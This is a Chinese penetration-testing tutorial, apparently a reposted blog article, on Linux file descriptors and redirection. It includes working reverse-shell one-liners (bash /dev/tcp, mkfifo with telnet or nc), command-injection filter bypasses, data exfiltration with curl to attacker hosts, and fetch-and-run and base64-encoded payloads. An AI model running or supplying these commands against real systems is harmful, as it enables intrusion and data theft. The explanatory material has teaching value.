文章总结: 本文深入解析Linux文件描述符与重定向机制在渗透测试中的应用。详细介绍了文件描述符概念、查看方法及标准I/O流,重点剖析了重定向符号原理和经典反弹Shell命令的底层机制。通过具体示例演示了如何利用/dev/tcp特殊设备建立远程连接,并讲解了命名管道在受限环境下的双向通信技巧,为实战中绕过防火墙和命令过滤提供技术支撑。 综合评分: 85 文章分类: 渗透测试,WEB安全,内网渗透,安全工具,实战经验
web安全-Linux文件描述符与重定向
原创
三呼呼 三呼呼
古月安全
2026年4月29日 09:50 四川
在小说阅读器读本章
去阅读
前言
在渗透测试中,获取目标系统的shell往往是最终目标。而在这个过程中,我们经常会遇到各种阻碍:防火墙限制出站连接、命令执行环境没有交互终端、关键命令被关键字过滤等。要优雅地解决这些问题,深入理解Linux的文件描述符和重定向机制至关重要。
本文将带你从零开始,深入理解这些底层概念,并剖析它们在反弹Shell、权限提升和信息收集等实战场景中的具体应用。
文件描述符
什么是文件描述符?
在Linux系统中,“一切皆文件”。普通文件、目录、键盘、显示器、甚至网络连接,都被抽象为文件。当一个进程打开这些资源时,内核会返回一个非负整数作为标识,这个数字就是文件描述符(File Descriptor,FD)。进程后续对该资源的所有操作(读、写、关闭)都需要通过这个文件描述符。
每个进程都维护着一张文件描述符表,表中的每个条目都指向内核中一个打开文件对象的指针.
那具体如何查看?通过/proc文件系统可以查看
每个进程在/proc下都有一个以它的 PID 命名的目录,其中的fd/子目录包含了该进程当前打开的所有文件描述符的符号链接,如下可以查看到所有的进行的PID:
然后我们进入到它的FD目录下:查看,就可以看到该进程的所有文件描述符,箭头后面是该描述符指向的实际资源,比如0,指向键盘输入
也可以适用lsof -p 1764 这种方式查看:
在溯源,风险排查等场景,这两个命令常用于检测反弹 Shell。例如,如果你怀疑某个进程是反弹 Shell,可以检查它的0、1、2号文件描述符是否指向了一个网络连接(socket),而不是本地终端。如果看到类似socket:[123456]或IP地址:端口的输出,就说明该进程的输入输出已经被重定向到网络,很可能是攻击者建立的远程控制通道。
标准文件描述符
每个Linux进程在启动时,都会默认打开三个标准的I/O流,它们占据了文件描述符表的前三项:
| 文件描述符 | 名称 | 代号 | 默认设备 | 常见用途 | | — | — | — | — | — | | 0 | 标准输入 | stdin | 键盘 | 程序读取输入数据的地方 | | 1 | 标准输出 | stdout | 显示器 | 程序输出正常结果的地方 | | 2 | 标准错误输出 | stderr | 显示器 | 程序输出错误或诊断信息的地方 |
理解这三点是理解重定向和反弹Shell的关键。比如上面的例子,fd 显示0 ,箭头后面的指向就是/dev/pts/0 其实就是键盘输入
重定向符号深度解析
就是 Linux 中最常用的输出重定向符号。它的作用是将一个命令的标准输出(stdout,文件描述符 1)写入到指定的文件中,如果文件已存在则会覆盖原内容。
基础重定向
相信我们经常在别人的反弹shell的时候看到如下的内容:
| 符号 | 作用 | 示例 | 解释 |
| — | — | — | — |
| >或1> | 将标准输出(stdout)重定向到文件(覆盖) | echo "hello" > file.txt | 将”hello”写入file.txt,覆盖原内容。 |
| >>或1>> | 将标准输出(stdout)重定向到文件(追加) | echo "world" >> file.txt | 将”world”追加到file.txt末尾。 |
| <或0< | 将文件内容重定向为标准输入(stdin) | cat < file.txt | 将file.txt的内容作为cat命令的输入。 |
| 2> | 将标准错误(stderr)重定向到文件(覆盖) | ls /nonexistent 2> error.log | 将错误信息写入error.log,屏幕不再显示错误。 |
| 2>> | 将标准错误(stderr)重定向到文件(追加) | ls /nonexistent 2>> error.log | 将错误信息追加到error.log末尾。 |
举个简单的例子:
比如我们在终端输入cat,然后随便敲一些字符并按回车,你会看到你敲的每一行都被cat原样输出。这里:
- 你敲的字符通过 stdin(0)键盘 传给
cat。 cat程序又将这些字符通过 stdout(1)显示屏写回终端,所以你看到了它们。
如果你把 stdout 重定向到文件:比如 cat > 12345.txt
再次敲字符,屏幕上就看不到你敲的内容了(因为 stdout 重定向到了文件),但你依然能输入(stdin 没变)。输入完毕后按 Ctrl+C,查看12345.txt就能看到你敲的内容。默认情况>表示1>,默认重定向的是1,标准输出
重定向的本质,就是改变文件描述符默认指向的目标。例如,让本该输出到屏幕(stdout)的数据,输出到一个文件或网络连接。这就是shell的建立原理
重定向:合并输出
这是渗透测试中最常使用的技巧,目的是将标准输出和标准错误合并到同一个目标。
| 符号 | 作用 | 示例 | 深度解释 |
| — | — | — | — |
| 2>&1 | 将标准错误(stderr,FD2)重定向到标准输出(stdout,FD1)当前指向的地方 | command > file 2>&1 | 顺序很重要!先让FD1指向file,再将FD2指向FD1指向的地方,最终两者都指向file。 |
| >&或&> | 将标准输出和标准错误同时重定向(Bash特有) | command &> file | 这是> file 2>&1的简写形式,效果相同。 |
| 0>&1 | 将标准输入(stdin,FD0)重定向到标准输出(stdout,FD1)当前指向的地方 | 见下文反弹Shell示例 | 这个命令用于将远程输入注入到本地shell的stdin中。 |
深入理解2>&1中的&这里的&不是“和”的意思,而是一个标记,告诉Shell后面的1是文件描述符,而不是一个名为“1”的普通文件。如果没有&,写成2>1,Shell会认为你想把错误输出重定向到一个名为1的文件。
>& 或 &>:比如>& /dev/null 相当于将1>/dev/null ,再把2 > &1 ,得到的结果就是1,2和都重定向到 /dev/null
特殊设备:/dev/tcp
Bash中有一个特殊的设备文件:/dev/tcp/IP/端口。打开这个文件,就相当于发起了一个TCP网络连接。读写这个文件,就是在网络连接中传输数据。这使得我们可以将重定向的目标从普通文件扩展为网络套接字。
例如:echo hello > /dev/tcp/192.168.1.1/4444会将”hello”字符串发送到IP为192.168.1.1主机的4444端口。
从原理到实践——剖析经典的反弹Shell命令
理解了上述原理,我们现在可以彻底剖析渗透测试中最经典的Bash反弹命令了
首先攻击机监听nc -lvnp 12345,如下:
目标机(执行):bash -i >& /dev/tcp/192.168.1.1/12345 0>&1
然后就得到了一个反弹shell
让我们用文件描述符的知识,一步步拆解这个命令:
bash -i:在目标机上启动一个交互式的Bash shell。交互式模式意味着它会有一个标准输入(等待用户输入)和一个标准输出/错误(显示结果)。>& /dev/tcp/192.168.1.1/4444:这部分是重定向。>&将bash -i的标准输出(FD1)和标准错误(FD2)都合并重定向到/dev/tcp/这个特殊的网络连接上。换句话说,这个交互式Shell产生的所有正常输出和错误信息,都会被直接发送到攻击机的4444端口。0>&1:这部分是核心。0>&1将标准输入(FD0)重定向到标准输出(FD1)当前指向的地方。此时,FD1已经指向了网络连接。所以,这条命令的意思是:将Shell的标准输入也重定向到同一个网络连接上。
效果:
- 攻击机在监听。
- 目标机执行命令后,其Bash Shell的输入被绑定到网络连接,输出和错误也被绑定到网络连接。
- 当攻击机在
nc里敲下命令时,数据通过网络连接,作为stdin送入目标机的Bash。 - Bash执行命令,结果(
stdout)和错误(stderr)又通过网络连接,显示在攻击机的nc窗口上。
这样就形成了一个完整的、交互式的远程Shell.
下面的命令效果完全相同:
bash -i > /dev/tcp/192.168.1.1/12345 2>&1 0>&1
这个写法更清晰地展示了先合并stdout(1)和stderr(2)到网络,再将stdin(0)也指向1的过程
如果想要创建正向的shell,建议使用nc或者其他工具,因为如果只有bash是无法使用正向shell的
为什么?
因为Bash 的/dev/tcp是一个虚拟设备,它只能用于发起出站的 TCP 连接(即作为客户端),而不能用于监听入站的连接(即作为服务器)。Bash 本身并没有实现 TCP 服务器的功能,因此无法单独使用 Bash 在本地打开一个端口等待别人连接。所以需要借助其他工具,比如nc,但是如果有nc了,那么我可以直接使用nc 发起,反而更简单。
管道在反弹 Shell 中的应用
| 管道符(匿名管道)
管道符号|的作用很简单:将前一个命令的标准输出(stdout)连接到后一个命令的标准输入(stdin)。从而让多个命令协同工作,形成数据流水线。
- 匿名:没有名称,由 shell 在内存中临时创建,命令执行结束后自动销毁。
- 只能用于有亲缘关系的进程:通常是同一个命令行中启动的多个命令(它们是父子进程或兄弟进程)
- 数据只能从左向右流动
匿名管道在内核中表现为一个管道文件描述符,一端用于写,一端用于读。shell 通过pipe()系统调用创建管道,然后将前一个命令的 stdout 重定向到管道的写端,将后一个命令的 stdin 重定向到管道的读端。
命名管道(FIFO)
命名管道(也称为 FIFO,First In First Out)是一种特殊的文件类型(在ls -l中显示为p),它存在于文件系统中,有一个路径名。任何有权限的进程都可以通过这个文件名打开它,进行读写,从而实现无亲缘关系进程间的通信。
- 有名字,存在于文件系统:可以用 rm命令删除。
- 可用于任意进程:只要拥有适当的权限,两个不相关的进程可以通过它交换数据。
- 阻塞读写:默认情况下,如果写进程打开管道,但没有读进程,写操作会阻塞(等待);同样,读进程打开管道时,如果没有写进程,读操作也会阻塞。这保证了数据的同步。
- 数据在内核中流动,不落盘:虽然看起来像文件,但数据不会写入磁盘,而是在内存中传递,读出后即被丢弃。
创建命令:mkfifo 管道文件名
例如 mkfifo /tmp/myfifo
在反弹 Shell 中,用于构建双向通信(如telnet配合命名管道实现交互式 shell)
在只有telnet和基本 shell 的环境中,经典命令:
rm -f /tmp/myfifo; mkfifo /tmp/myfifo; cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet attacker_ip port > /tmp/myfifo
命令分解:rm -f /tmp/myfifo; mkfifo /tmp/myfifo; cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet 你的IP 端口> /tmp/myfifo
这个命令分三部分执行,用分号;分隔。我们一步步拆解。
准备阶段
rm -f /tmp/myfifo:强制删除可能已经存在的/tmp/myfifo 文件(无论是什么类型),确保我们新创建的管道没有冲突。mkfifo /tmp/myfifo:在/tmp/目录下创建一个名为f的命名管道(FIFO)。
核心管道链
cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet 你的IP 端口> /tmp/myfifo
这是最关键的部分,它实际上是一个管道链,用三个|连接了三个命令,最后还有一个输出重定向> /tmp/myfifo 。整个结构可以看作是三个进程通过管道和重定向连接起来,形成一个环形的数据流。
让我们拆开看每一个环节:
环节一:cat /tmp/myfifo
cat /tmp/myfifo 从命名管道/tmp/myfifo 中读取数据。- 谁向这个管道写数据?是后面的telnet命令通过 > /tmp/myfifo 写入的(后面会解释)。也就是说,cat读取的是攻击者通过 telnet 发送过来的命令。
cat读取到的数据(攻击者的命令)被通过管道|传递给下一个命令的标准输入。
环节二:/bin/sh -i 2>&1
- 它从标准输入(也就是
cat的输出)读取命令并执行。 -i 选项让 shell以交互模式运行,这样它会显示提示符,并正确处理作业控制等,使体验更像一个正常的 shell。2>&1将标准错误(fd 2)重定向到标准输出(fd 1)。这样,shell 执行命令产生的所有输出(包括错误信息)都合并到标准输出中,然后通过管道|传递给下一个命令。
环节三:telnet 你的IP 你的端口 > /tmp/myfifo
telnet连接到攻击者的 IP 和端口,建立一个 TCP 连接。telnet的标准输出(fd 1)被重定向到命名管道/tmp/myfifo (通过 > /tmp/myfifo )。这意味着所有从攻击者发送过来的数据(攻击者在 telnet会话中输入的字符)都被写入到命名管道 /tmp/myfifo 中。- 同时,
telnet的标准输入是从上一个命令(即/bin/sh -i的输出)通过管道|传递过来的。也就是说,shell 的执行结果会通过管道进入telnet的标准输入,然后被telnet发送到攻击者的机器上。
我们可以把整个过程看作一个环形数据流:
攻击者输入 (通过 telnet) → 写入命名管道 /tmp/myfifo ← cat 从管道读取 ↑ ↓ │ │ telnet 发送给攻击者 cat 传给 /bin/sh ↑ ↓ │ │ telnet 从管道读取 ←─ /bin/sh 的输出写入 telnet 的标准输入
我们在VM中其中两个系统来实验一下:如下被攻击系统执行:
然后在Linux系统中进行了监听:
成功得到一个反弹shell。当然这里也可以不用telnet,可以使用nc或者其他方式。只是做个例子。
输入重定向<
输入重定向<将文件内容作为命令的标准输入(stdin)。虽然看似简单,但在受限环境中可以巧妙地完成许多任务。这个与前面的>输出重定向是反过来的。
在命令注入中,空格往往是被过滤的目标。利用<可以避免空格的使用
比如正常使用cat 读取内容,是需要空格的如:cat /etc/passwd
如果使用<就可以不适用空格直接:cat</etc/passwd
如果cat也被禁用,可以结合其他命令,如</etc/passwd sh会执行一个 shell 并从文件读取命令,但更常见的做法是:
# 利用 shell 内置命令 read 结合重定向while IFS= read -r line; do echo "$line"; done < /etc/passwd
作为文件描述符操作的前奏
结合exec命令,<可以将文件绑定到指定文件描述符,用于后续的读写操作。例如:
可以先通过exec命令将对应的文件绑定到指定的文件描述符:exec 33< /etc/passwd,然后通过cat 或者其他可读取的方式,读取这个文件描述符的内容如下:cat <&33 得到具体内容
管道符|的其他用途
在渗透测试的信息收集阶段,管道可以快速筛选、提取目标系统中的关键信息
命令注入与绕过:在 Web 命令注入中,管道符是常用的分隔符,用于拼接额外命令。即使某些符号被过滤,还可以利用管道特性结合其他技巧绕过。
比如常见的
# 基本注入:127.0.0.1 | whoami# 如果 | 被过滤,尝试使用未过滤的符号组合127.0.0.1 || whoami # 逻辑或(前一条失败才执行)127.0.0.1 && whoami # 逻辑与(前一条成功才执行)127.0.0.1 %0a whoami # 换行符(需要 URL 编码)
此外,管道符还可以与命令替换结合,实现更复杂的执行:比如当目标环境没有直接回显时(盲注),可以利用管道将命令输出通过其他协议发送到攻击者服务器,实现数据外带如下:
echo “root{$(cat /tmp/1234.txt)}” | curl -G -d @- http://123.123.123.1:8888/
在自己的服务器上接收数据
无文件执行与下载执行
通过管道直接将远程脚本传递给 shell 执行,避免写入磁盘,这是一种常见的无文件攻击方式。
# 从 HTTP 下载并执行curl -s http://attacker.com/payload.sh | bash# 或通过 wgetwget -qO- http://attacker.com/payload.sh | sh# 结合 base64 解码执行echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xLzQ0NDQgMD4mMQo=" | base64 -d | bash
这种技术可以绕过文件上传检测和磁盘扫描。
在复杂的利用链中,管道通常用于串联多个步骤,以及绕过一些特性检测
总结
在 Linux 系统中,<、>和|是三个核心的 I/O 控制符号,在渗透测试和 CTF 中有着广泛的应用。
>输出重定向:将命令的标准输出写入文件(覆盖或追加)。在反弹Shell 中,常用于将 Shell 的输出指向网络连接(如 >/dev/tcp/ip/port);在数据外带时,可将结果保存到文件供后续读取。攻击者也可利用它将恶意命令的输出隐藏到文件中。<输入重定向:将文件内容作为命令的标准输入。在受限环境中可绕过 cat 等读取命令(如|管道符:将前一个命令的标准输出连接到后一个命令的标准输入。它是命令注入中最常用的拼接符(如 127.0.0.1 | whoami),也可串联多个工具进行信息筛选(find / -perm -4000 2>/dev/null | xargs ls -l)、无文件执行(curl http://evil/payload | bash)以及数据外带(cat flag | base64 | curl -d @- http://attacker)。
三者常组合使用:bash -i >& /dev/tcp/ip/port 0>&1将输入输出全部重定向到网络,实现反向 Shell;cat /tmp/fifo | /bin/sh 2>&1 | nc ip port > /tmp/fifo则通过管道和命名管道构建双向通信。掌握这些符号能帮助我们在渗透测试中灵活控制数据流,绕过限制,并高效完成信息收集与利用。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:古月安全 三呼呼 三呼呼《web安全-Linux文件描述符与重定向》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论